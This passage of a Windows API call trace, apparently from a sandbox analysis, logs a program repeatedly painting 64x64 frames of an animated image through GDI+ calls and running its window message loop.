hRgn=0x15d780) returned 0x0 [0147.523] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0147.524] GdipDeleteRegion (region=0x1de43ea0) returned 0x0 [0147.524] GdipGetDC (graphics=0x1de4fd10, hdc=0x15d7f0) returned 0x0 [0147.524] GetCurrentObject (hdc=0xffffffff88010781, type=0x1) returned 0x1b00017 [0147.524] GetCurrentObject (hdc=0xffffffff88010781, type=0x2) returned 0x1900010 [0147.524] GetCurrentObject (hdc=0xffffffff88010781, type=0x7) returned 0x1a05067e [0147.524] GetCurrentObject (hdc=0xffffffff88010781, type=0x6) returned 0x18a002e [0147.524] SaveDC (hdc=0xffffffff88010781) returned 1 [0147.524] CreateRectRgn (x1=0, y1=0, x2=0, y2=0) returned 0xffffffffb5040b8a [0147.524] GetClipRgn (hdc=0xffffffff88010781, hrgn=0xffffffffb5040b8a) returned 0 [0147.524] SelectClipRgn (hdc=0xffffffff88010781, hrgn=0xffffffffe50407c3) returned 2 [0147.524] DeleteObject (ho=0xffffffffb5040b8a) returned 1 [0147.524] DeleteObject (ho=0xffffffffe50407c3) returned 1 [0147.524] OffsetViewportOrgEx (in: hdc=0xffffffff88010781, x=0, y=0, lppt=0x26ebb58 | out: lppt=0x26ebb58) returned 1 [0147.525] GetNearestColor (hdc=0xffffffff88010781, color=0xffffff) returned 0xffffff [0147.525] CreateSolidBrush (color=0xffffff) returned 0xffffffffbd100190 [0147.525] FillRect (hDC=0xffffffff88010781, lprc=0x15d7c0, hbr=0xffffffffbd100190) returned 1 [0147.525] DeleteObject (ho=0xffffffffbd100190) returned 1 [0147.525] RestoreDC (hdc=0xffffffff88010781, nSavedDC=-1) returned 1 [0147.525] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0147.525] GdipReleaseDC (graphics=0x1de4fd10, hdc=0xffffffff88010781) returned 0x0 [0147.525] GdipRestoreGraphics (graphics=0x1de4fd10, state=0xfffffffffc6c0dbd) returned 0x0 [0147.525] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0147.525] GdipDeleteRegion (region=0x1de43de0) returned 0x0 [0147.525] GetWindowTextLengthW (hWnd=0x2031e) returned 0 [0147.525] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x2031e, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x0 [0147.525] GetSystemMetrics (nIndex=42) returned 0 [0147.525] CoTaskMemAlloc (cb=0x6) returned 0x1e91eca0 [0147.526] GetWindowTextW (in: hWnd=0x2031e, lpString=0x1e91eca0, nMaxCount=1 | out: lpString="") returned 0 [0147.526] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x2031e, Msg=0xd, wParam=0x1, lParam=0x1e91eca0) returned 0x0 [0147.526] CoTaskMemFree (pv=0x1e91eca0) [0147.526] GdipImageSelectActiveFrame (image=0x1dc21b40, dimensionID=0x15db10*(Data1=0x6aedbd6d, Data2=0x3fb5, Data3=0x418a, Data4=([0]=0x83, [1]=0xa6, [2]=0x7f, [3]=0x45, [4]=0x22, [5]=0x9d, [6]=0xc8, [7]=0x72)), frameIndex=0xe) returned 0x0 [0147.528] GdipGetImageWidth (image=0x1dc21b40, width=0x15da30) returned 0x0 [0147.528] GdipGetImageHeight (image=0x1dc21b40, height=0x15da30) returned 0x0 [0147.528] GdipDrawImageRectI (graphics=0x1de4fd10, image=0x1dc21b40, x=0, y=0, width=64, height=64) returned 0x0 [0147.528] GdipGetDC (graphics=0x1de4fd10, hdc=0x15dbf0) returned 0x0 [0147.528] BitBlt (hdc=0x3010b83, x=0, y=0, cx=64, cy=64, hdcSrc=0xffffffff88010781, x1=0, y1=0, rop=0xcc0020) returned 1 [0147.528] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0147.529] GdipReleaseDC (graphics=0x1de4fd10, hdc=0xffffffff88010781) returned 0x0 [0147.529] SelectObject (hdc=0xffffffff88010781, h=0x185000f) returned 0x1a05067e [0147.529] DeleteDC (hdc=0xffffffff88010781) returned 1 [0147.529] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0147.529] GdipDeleteGraphics (graphics=0x1de4fd10) returned 0x0 [0147.529] SelectPalette (hdc=0x3010b83, hPal=0x188000b, bForceBkgd=0) returned 0x32080181 [0147.529] EndPaint (hWnd=0x2031e, lpPaint=0x15dcf8) returned 1 [0147.529] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 0 [0147.529] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 0 [0147.529] WaitMessage () returned 1 [0147.656] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 1 [0147.656] IsWindowUnicode (hWnd=0x2031e) returned 1 [0147.656] GetMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x15e900) returned 1 [0147.656] TranslateMessage (lpMsg=0x15e910) returned 0 [0147.656] DispatchMessageW (lpMsg=0x15e910) returned 0x0 [0147.656] GetWindowThreadProcessId (in: hWnd=0x2031e, lpdwProcessId=0x15d660 | out: lpdwProcessId=0x15d660) returned 0xec0 [0147.657] GetCurrentThreadId () returned 0xec0 [0147.657] InvalidateRect (hWnd=0x2031e, lpRect=0x0, bErase=1) returned 1 [0147.657] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 1 [0147.657] IsWindowUnicode (hWnd=0x2031e) returned 1 [0147.657] GetMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x15e900) returned 1 [0147.657] TranslateMessage (lpMsg=0x15e910) returned 0 [0147.657] DispatchMessageW (lpMsg=0x15e910) returned 0x0 [0147.657] BeginPaint (in: hWnd=0x2031e, lpPaint=0x15dce8 | out: lpPaint=0x15dce8) returned 0x3010b83 [0147.657] SelectPalette (hdc=0x3010b83, hPal=0x32080181, bForceBkgd=1) returned 0x188000b [0147.658] CreateCompatibleDC (hdc=0x3010b83) returned 0xffffffff89010781 [0147.658] SelectObject (hdc=0xffffffff89010781, h=0x1a05067e) returned 0x185000f [0147.658] GdipCreateFromHDC (hdc=0xffffffff89010781, graphics=0x15daf0) returned 0x0 [0147.658] GdipTranslateWorldTransform (graphics=0x1de4fd10, dx=0x0, dy=0x7fef2dbba58, order=0x0) returned 0x0 [0147.658] GdipSetClipRectI (graphics=0x1de4fd10, x=0, y=0, width=64, height=64, combineMode=0x0) returned 0x0 [0147.658] GdipCreateMatrix (matrix=0x15dc20) returned 0x0 [0147.658] GdipGetWorldTransform (graphics=0x1de4fd10, matrix=0x1dc0a510) returned 0x0 [0147.658] GdipIsMatrixIdentity (matrix=0x1dc0a510, result=0x15dc80) returned 0x0 [0147.658] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x1e7b48a0 [0147.658] GdipGetMatrixElements (matrix=0x1dc0a510, matrixOut=0x1e7b48a0) returned 0x0 [0147.659] LocalFree (hMem=0x1e7b48a0) returned 0x0 [0147.659] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0147.659] GdipDeleteMatrix (matrix=0x1dc0a510) returned 0x0 [0147.659] GdipCreateRegion (region=0x15dc20) returned 0x0 [0147.659] GdipGetClip (graphics=0x1de4fd10, region=0x1d2e7c10) returned 0x0 [0147.659] GdipIsInfiniteRegion (region=0x1d2e7c10, graphics=0x1de4fd10, result=0x15dc50) returned 0x0 [0147.659] GdipSaveGraphics (graphics=0x1de4fd10, state=0x15dd20) returned 0x0 [0147.659] GetWindowTextLengthW (hWnd=0x2031e) returned 0 [0147.659] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x2031e, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x0 [0147.659] GetSystemMetrics (nIndex=42) returned 0 [0147.659] CoTaskMemAlloc (cb=0x6) returned 0x1e91eca0 [0147.660] GetWindowTextW (in: hWnd=0x2031e, lpString=0x1e91eca0, nMaxCount=1 | out: lpString="") returned 0 [0147.660] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x2031e, Msg=0xd, wParam=0x1, lParam=0x1e91eca0) returned 0x0 [0147.660] CoTaskMemFree (pv=0x1e91eca0) [0147.660] GetClientRect (in: hWnd=0x2031e, lpRect=0x15dc80 | out: lpRect=0x15dc80) returned 1 [0147.660] GdipCreateRegion (region=0x15d710) returned 0x0 [0147.660] GdipGetClip (graphics=0x1de4fd10, region=0x1de43ea0) returned 0x0 [0147.660] GdipCreateMatrix (matrix=0x15d710) returned 0x0 [0147.660] GdipGetWorldTransform (graphics=0x1de4fd10, matrix=0x1dc0a590) returned 0x0 [0147.660] GdipIsMatrixIdentity (matrix=0x1dc0a590, result=0x15d770) returned 0x0 [0147.660] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x1e7b48a0 [0147.660] GdipGetMatrixElements (matrix=0x1dc0a590, matrixOut=0x1e7b48a0) returned 0x0 [0147.661] LocalFree (hMem=0x1e7b48a0) returned 0x0 [0147.661] GdipCombineRegionRegion (region=0x1de43ea0, region2=0x1d2e7c10, combineMode=0x1) returned 0x0 [0147.661] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x1e7b48a0 [0147.661] GdipGetMatrixElements (matrix=0x1dc0a590, matrixOut=0x1e7b48a0) returned 0x0 [0147.661] LocalFree (hMem=0x1e7b48a0) returned 0x0 [0147.661] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0147.661] GdipDeleteMatrix (matrix=0x1dc0a590) returned 0x0 [0147.661] GdipIsInfiniteRegion (region=0x1de43ea0, graphics=0x1de4fd10, result=0x15d7c0) returned 0x0 [0147.661] GdipIsInfiniteRegion (region=0x1de43ea0, graphics=0x1de4fd10, result=0x15d780) returned 0x0 [0147.662] GdipGetRegionHRgn (region=0x1de43ea0, graphics=0x1de4fd10, hRgn=0x15d780) returned 0x0 [0147.662] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0147.662] GdipDeleteRegion (region=0x1de43ea0) returned 0x0 [0147.662] GdipGetDC (graphics=0x1de4fd10, hdc=0x15d7f0) returned 0x0 [0147.662] GetCurrentObject (hdc=0xffffffff89010781, type=0x1) returned 0x1b00017 [0147.662] GetCurrentObject (hdc=0xffffffff89010781, type=0x2) returned 0x1900010 [0147.662] GetCurrentObject (hdc=0xffffffff89010781, type=0x7) returned 0x1a05067e [0147.662] GetCurrentObject (hdc=0xffffffff89010781, type=0x6) returned 0x18a002e [0147.662] SaveDC (hdc=0xffffffff89010781) returned 1 [0147.662] CreateRectRgn (x1=0, y1=0, x2=0, y2=0) returned 0xffffffffe60407c3 [0147.662] GetClipRgn (hdc=0xffffffff89010781, hrgn=0xffffffffe60407c3) returned 0 [0147.662] SelectClipRgn (hdc=0xffffffff89010781, hrgn=0xffffffffb6040b8a) returned 2 [0147.662] DeleteObject (ho=0xffffffffe60407c3) returned 1 [0147.662] DeleteObject (ho=0xffffffffb6040b8a) returned 1 [0147.662] OffsetViewportOrgEx (in: hdc=0xffffffff89010781, x=0, y=0, lppt=0x26ece10 | out: lppt=0x26ece10) returned 1 [0147.663] GetNearestColor (hdc=0xffffffff89010781, color=0xffffff) returned 0xffffff [0147.663] CreateSolidBrush (color=0xffffff) returned 0xffffffffbe100190 [0147.663] FillRect (hDC=0xffffffff89010781, lprc=0x15d7c0, hbr=0xffffffffbe100190) returned 1 [0147.663] DeleteObject (ho=0xffffffffbe100190) returned 1 [0147.663] RestoreDC (hdc=0xffffffff89010781, nSavedDC=-1) returned 1 [0147.663] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0147.663] GdipReleaseDC (graphics=0x1de4fd10, hdc=0xffffffff89010781) returned 0x0 [0147.663] GdipRestoreGraphics (graphics=0x1de4fd10, state=0xfffffffffc6a0dbd) returned 0x0 [0147.663] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0147.663] GdipDeleteRegion (region=0x1d2e7c10) returned 0x0 [0147.663] GetWindowTextLengthW (hWnd=0x2031e) returned 0 [0147.663] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x2031e, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x0 [0147.663] GetSystemMetrics (nIndex=42) returned 0 [0147.663] CoTaskMemAlloc (cb=0x6) returned 0x1e91eca0 [0147.664] GetWindowTextW (in: hWnd=0x2031e, lpString=0x1e91eca0, nMaxCount=1 | out: lpString="") returned 0 [0147.664] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x2031e, Msg=0xd, wParam=0x1, lParam=0x1e91eca0) returned 0x0 [0147.664] CoTaskMemFree (pv=0x1e91eca0) [0147.664] GdipGetImageWidth (image=0x1dc21b40, width=0x15da30) returned 0x0 [0147.664] GdipGetImageHeight (image=0x1dc21b40, height=0x15da30) returned 0x0 [0147.664] GdipDrawImageRectI (graphics=0x1de4fd10, image=0x1dc21b40, x=0, y=0, width=64, height=64) returned 0x0 [0147.664] GdipGetDC (graphics=0x1de4fd10, hdc=0x15dbf0) returned 0x0 [0147.664] BitBlt (hdc=0x3010b83, x=0, y=0, cx=64, cy=64, hdcSrc=0xffffffff89010781, x1=0, y1=0, rop=0xcc0020) returned 1 [0147.664] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0147.664] GdipReleaseDC (graphics=0x1de4fd10, hdc=0xffffffff89010781) returned 0x0 [0147.664] SelectObject (hdc=0xffffffff89010781, h=0x185000f) returned 0x1a05067e [0147.664] DeleteDC (hdc=0xffffffff89010781) returned 1 [0147.664] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0147.664] GdipDeleteGraphics (graphics=0x1de4fd10) returned 0x0 [0147.665] SelectPalette (hdc=0x3010b83, hPal=0x188000b, bForceBkgd=0) returned 0x32080181 [0147.665] EndPaint (hWnd=0x2031e, lpPaint=0x15dcf8) returned 1 [0147.665] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 0 [0147.665] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 0 [0147.665] WaitMessage () returned 1 [0147.863] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 1 [0147.863] IsWindowUnicode (hWnd=0x2031e) returned 1 [0147.863] GetMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x15e900) returned 1 [0147.863] TranslateMessage (lpMsg=0x15e910) returned 0 [0147.863] DispatchMessageW (lpMsg=0x15e910) returned 0x0 [0147.863] GetWindowThreadProcessId (in: hWnd=0x2031e, lpdwProcessId=0x15d660 | out: lpdwProcessId=0x15d660) returned 0xec0 [0147.863] GetCurrentThreadId () returned 0xec0 [0147.863] InvalidateRect (hWnd=0x2031e, lpRect=0x0, bErase=1) returned 1 [0147.863] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 1 [0147.863] IsWindowUnicode (hWnd=0x2031e) returned 1 [0147.863] GetMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x15e900) returned 1 [0147.863] TranslateMessage (lpMsg=0x15e910) returned 0 [0147.863] DispatchMessageW (lpMsg=0x15e910) returned 0x0 [0147.863] BeginPaint (in: hWnd=0x2031e, lpPaint=0x15dce8 | out: lpPaint=0x15dce8) returned 0x3010b83 [0147.864] SelectPalette (hdc=0x3010b83, hPal=0x32080181, bForceBkgd=1) returned 0x188000b [0147.864] CreateCompatibleDC (hdc=0x3010b83) returned 0xffffffff8a010781 [0147.864] SelectObject (hdc=0xffffffff8a010781, h=0x1a05067e) returned 0x185000f [0147.864] GdipCreateFromHDC (hdc=0xffffffff8a010781, graphics=0x15daf0) returned 0x0 [0147.864] GdipTranslateWorldTransform (graphics=0x1de4fd10, dx=0x0, dy=0x7fef2dbba58, order=0x0) returned 0x0 [0147.864] GdipSetClipRectI (graphics=0x1de4fd10, x=0, y=0, width=64, height=64, combineMode=0x0) returned 0x0 [0147.864] GdipCreateMatrix (matrix=0x15dc20) returned 0x0 [0147.864] GdipGetWorldTransform (graphics=0x1de4fd10, matrix=0x1dc0a510) returned 0x0 [0147.864] GdipIsMatrixIdentity (matrix=0x1dc0a510, result=0x15dc80) returned 0x0 [0147.864] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x1e7b48a0 [0147.864] GdipGetMatrixElements (matrix=0x1dc0a510, matrixOut=0x1e7b48a0) returned 0x0 [0147.865] LocalFree (hMem=0x1e7b48a0) returned 0x0 [0147.865] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0147.865] GdipDeleteMatrix (matrix=0x1dc0a510) returned 0x0 [0147.865] GdipCreateRegion (region=0x15dc20) returned 0x0 [0147.865] GdipGetClip (graphics=0x1de4fd10, region=0x1d2e7c10) returned 0x0 [0147.865] GdipIsInfiniteRegion (region=0x1d2e7c10, graphics=0x1de4fd10, result=0x15dc50) returned 0x0 [0147.866] GdipSaveGraphics (graphics=0x1de4fd10, state=0x15dd20) returned 0x0 [0147.866] GetWindowTextLengthW (hWnd=0x2031e) returned 0 [0147.866] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x2031e, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x0 [0147.866] GetSystemMetrics (nIndex=42) returned 0 [0147.866] CoTaskMemAlloc (cb=0x6) returned 0x1e91eca0 [0147.866] GetWindowTextW (in: hWnd=0x2031e, lpString=0x1e91eca0, nMaxCount=1 | out: lpString="") returned 0 [0147.866] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x2031e, Msg=0xd, wParam=0x1, lParam=0x1e91eca0) returned 0x0 [0147.866] CoTaskMemFree (pv=0x1e91eca0) [0147.866] GetClientRect (in: hWnd=0x2031e, lpRect=0x15dc80 | out: lpRect=0x15dc80) returned 1 [0147.866] GdipCreateRegion (region=0x15d710) returned 0x0 [0147.866] GdipGetClip (graphics=0x1de4fd10, region=0x1de43ea0) returned 0x0 [0147.866] GdipCreateMatrix (matrix=0x15d710) returned 0x0 [0147.866] GdipGetWorldTransform (graphics=0x1de4fd10, matrix=0x1dc0a590) returned 0x0 [0147.866] GdipIsMatrixIdentity (matrix=0x1dc0a590, result=0x15d770) returned 0x0 [0147.866] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x1e7b48a0 [0147.866] GdipGetMatrixElements (matrix=0x1dc0a590, matrixOut=0x1e7b48a0) returned 0x0 [0147.867] LocalFree (hMem=0x1e7b48a0) returned 0x0 [0147.867] GdipCombineRegionRegion (region=0x1de43ea0, region2=0x1d2e7c10, combineMode=0x1) returned 0x0 [0147.867] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x1e7b48a0 [0147.867] GdipGetMatrixElements (matrix=0x1dc0a590, matrixOut=0x1e7b48a0) returned 0x0 [0147.867] LocalFree (hMem=0x1e7b48a0) returned 0x0 [0147.868] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0147.868] GdipDeleteMatrix (matrix=0x1dc0a590) returned 0x0 [0147.868] GdipIsInfiniteRegion (region=0x1de43ea0, graphics=0x1de4fd10, result=0x15d7c0) returned 0x0 [0147.868] GdipIsInfiniteRegion (region=0x1de43ea0, graphics=0x1de4fd10, result=0x15d780) returned 0x0 [0147.868] GdipGetRegionHRgn (region=0x1de43ea0, graphics=0x1de4fd10, hRgn=0x15d780) returned 0x0 [0147.868] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0147.868] GdipDeleteRegion (region=0x1de43ea0) returned 0x0 [0147.868] GdipGetDC (graphics=0x1de4fd10, hdc=0x15d7f0) returned 0x0 [0147.868] GetCurrentObject (hdc=0xffffffff8a010781, type=0x1) returned 0x1b00017 [0147.868] GetCurrentObject (hdc=0xffffffff8a010781, type=0x2) returned 0x1900010 [0147.868] GetCurrentObject (hdc=0xffffffff8a010781, type=0x7) returned 0x1a05067e [0147.869] GetCurrentObject (hdc=0xffffffff8a010781, type=0x6) returned 0x18a002e [0147.869] SaveDC (hdc=0xffffffff8a010781) returned 1 [0147.869] CreateRectRgn (x1=0, y1=0, x2=0, y2=0) returned 0xffffffffb7040b8a [0147.869] GetClipRgn (hdc=0xffffffff8a010781, hrgn=0xffffffffb7040b8a) returned 0 [0147.869] SelectClipRgn (hdc=0xffffffff8a010781, hrgn=0xffffffffe70407c3) returned 2 [0147.869] DeleteObject (ho=0xffffffffb7040b8a) returned 1 [0147.869] DeleteObject (ho=0xffffffffe70407c3) returned 1 [0147.869] OffsetViewportOrgEx (in: hdc=0xffffffff8a010781, x=0, y=0, lppt=0x26ed748 | out: lppt=0x26ed748) returned 1 [0147.869] GetNearestColor (hdc=0xffffffff8a010781, color=0xffffff) returned 0xffffff [0147.869] CreateSolidBrush (color=0xffffff) returned 0xffffffffbf100190 [0147.869] FillRect (hDC=0xffffffff8a010781, lprc=0x15d7c0, hbr=0xffffffffbf100190) returned 1 [0147.869] DeleteObject (ho=0xffffffffbf100190) returned 1 [0147.870] RestoreDC (hdc=0xffffffff8a010781, nSavedDC=-1) returned 1 [0147.870] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0147.870] GdipReleaseDC (graphics=0x1de4fd10, hdc=0xffffffff8a010781) returned 0x0 [0147.870] GdipRestoreGraphics (graphics=0x1de4fd10, state=0xfffffffffc680dbd) returned 0x0 [0147.870] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0147.870] GdipDeleteRegion (region=0x1d2e7c10) returned 0x0 [0147.870] GetWindowTextLengthW (hWnd=0x2031e) returned 0 [0147.870] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x2031e, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x0 [0147.870] GetSystemMetrics (nIndex=42) returned 0 [0147.870] CoTaskMemAlloc (cb=0x6) returned 0x1e91eca0 [0147.870] GetWindowTextW (in: hWnd=0x2031e, lpString=0x1e91eca0, nMaxCount=1 | out: lpString="") returned 0 [0147.870] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x2031e, Msg=0xd, wParam=0x1, lParam=0x1e91eca0) returned 0x0 [0147.870] CoTaskMemFree (pv=0x1e91eca0) [0147.871] GdipImageSelectActiveFrame (image=0x1dc21b40, dimensionID=0x15db10*(Data1=0x6aedbd6d, Data2=0x3fb5, Data3=0x418a, Data4=([0]=0x83, [1]=0xa6, [2]=0x7f, [3]=0x45, [4]=0x22, [5]=0x9d, [6]=0xc8, [7]=0x72)), frameIndex=0x10) returned 0x0 [0147.873] GdipGetImageWidth (image=0x1dc21b40, width=0x15da30) returned 0x0 [0147.873] GdipGetImageHeight (image=0x1dc21b40, height=0x15da30) returned 0x0 [0147.873] GdipDrawImageRectI (graphics=0x1de4fd10, image=0x1dc21b40, x=0, y=0, width=64, height=64) returned 0x0 [0147.873] GdipGetDC (graphics=0x1de4fd10, hdc=0x15dbf0) returned 0x0 [0147.873] BitBlt (hdc=0x3010b83, x=0, y=0, cx=64, cy=64, hdcSrc=0xffffffff8a010781, x1=0, y1=0, rop=0xcc0020) returned 1 [0147.873] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0147.873] GdipReleaseDC (graphics=0x1de4fd10, hdc=0xffffffff8a010781) returned 0x0 [0147.873] SelectObject (hdc=0xffffffff8a010781, h=0x185000f) returned 0x1a05067e [0147.873] DeleteDC (hdc=0xffffffff8a010781) returned 1 [0147.873] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0147.873] GdipDeleteGraphics (graphics=0x1de4fd10) returned 0x0 [0147.874] SelectPalette (hdc=0x3010b83, hPal=0x188000b, bForceBkgd=0) returned 0x32080181 [0147.874] EndPaint (hWnd=0x2031e, lpPaint=0x15dcf8) returned 1 [0147.874] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 0 [0147.874] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 0 [0147.874] WaitMessage () returned 1 [0147.988] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 1 [0147.988] IsWindowUnicode (hWnd=0x2031e) returned 1 [0147.989] GetMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x15e900) returned 1 [0147.989] TranslateMessage (lpMsg=0x15e910) returned 0 [0147.989] DispatchMessageW (lpMsg=0x15e910) returned 0x0 [0147.989] GetWindowThreadProcessId (in: hWnd=0x2031e, lpdwProcessId=0x15d660 | out: lpdwProcessId=0x15d660) returned 0xec0 [0147.989] GetCurrentThreadId () returned 0xec0 [0147.989] InvalidateRect (hWnd=0x2031e, lpRect=0x0, bErase=1) returned 1 [0147.989] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 1 [0147.989] IsWindowUnicode (hWnd=0x2031e) returned 1 [0147.989] GetMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x15e900) returned 1 [0147.989] TranslateMessage (lpMsg=0x15e910) returned 0 [0147.989] DispatchMessageW (lpMsg=0x15e910) returned 0x0 [0147.989] BeginPaint (in: hWnd=0x2031e, lpPaint=0x15dce8 | out: lpPaint=0x15dce8) returned 0x3010b83 [0147.989] SelectPalette (hdc=0x3010b83, hPal=0x32080181, bForceBkgd=1) returned 0x188000b [0147.989] CreateCompatibleDC (hdc=0x3010b83) returned 0x20010b88 [0147.990] SelectObject (hdc=0x20010b88, h=0x1a05067e) returned 0x185000f [0147.990] GdipCreateFromHDC (hdc=0x20010b88, graphics=0x15daf0) returned 0x0 [0147.990] GdipTranslateWorldTransform (graphics=0x1de4fd10, dx=0x0, dy=0x7fef2dbba58, order=0x0) returned 0x0 [0147.990] GdipSetClipRectI (graphics=0x1de4fd10, x=0, y=0, width=64, height=64, combineMode=0x0) returned 0x0 [0147.990] GdipCreateMatrix (matrix=0x15dc20) returned 0x0 [0147.990] GdipGetWorldTransform (graphics=0x1de4fd10, matrix=0x1dc0a510) returned 0x0 [0147.990] GdipIsMatrixIdentity (matrix=0x1dc0a510, result=0x15dc80) returned 0x0 [0147.990] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x1e7b48a0 [0147.990] GdipGetMatrixElements (matrix=0x1dc0a510, matrixOut=0x1e7b48a0) returned 0x0 [0147.991] LocalFree (hMem=0x1e7b48a0) returned 0x0 [0147.991] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0147.991] GdipDeleteMatrix (matrix=0x1dc0a510) returned 0x0 [0147.991] GdipCreateRegion (region=0x15dc20) returned 0x0 [0147.991] GdipGetClip (graphics=0x1de4fd10, region=0x1de43de0) returned 0x0 [0147.991] GdipIsInfiniteRegion (region=0x1de43de0, graphics=0x1de4fd10, result=0x15dc50) returned 0x0 [0147.991] GdipSaveGraphics (graphics=0x1de4fd10, state=0x15dd20) returned 0x0 [0147.991] GetWindowTextLengthW (hWnd=0x2031e) returned 0 [0147.991] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x2031e, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x0 [0147.992] GetSystemMetrics (nIndex=42) returned 0 [0147.992] CoTaskMemAlloc (cb=0x6) returned 0x1e91eca0 [0147.992] GetWindowTextW (in: hWnd=0x2031e, lpString=0x1e91eca0, nMaxCount=1 | out: lpString="") returned 0 [0147.992] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x2031e, Msg=0xd, wParam=0x1, lParam=0x1e91eca0) returned 0x0 [0147.992] CoTaskMemFree (pv=0x1e91eca0) [0147.992] GetClientRect (in: hWnd=0x2031e, lpRect=0x15dc80 | out: lpRect=0x15dc80) returned 1 [0147.992] GdipCreateRegion (region=0x15d710) returned 0x0 [0147.992] GdipGetClip (graphics=0x1de4fd10, region=0x1de43ea0) returned 0x0 [0147.992] GdipCreateMatrix (matrix=0x15d710) returned 0x0 [0147.992] GdipGetWorldTransform (graphics=0x1de4fd10, matrix=0x1dc0a590) returned 0x0 [0147.992] GdipIsMatrixIdentity (matrix=0x1dc0a590, result=0x15d770) returned 0x0 [0147.992] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x1e7b48a0 [0147.992] GdipGetMatrixElements (matrix=0x1dc0a590, matrixOut=0x1e7b48a0) returned 0x0 [0147.993] LocalFree 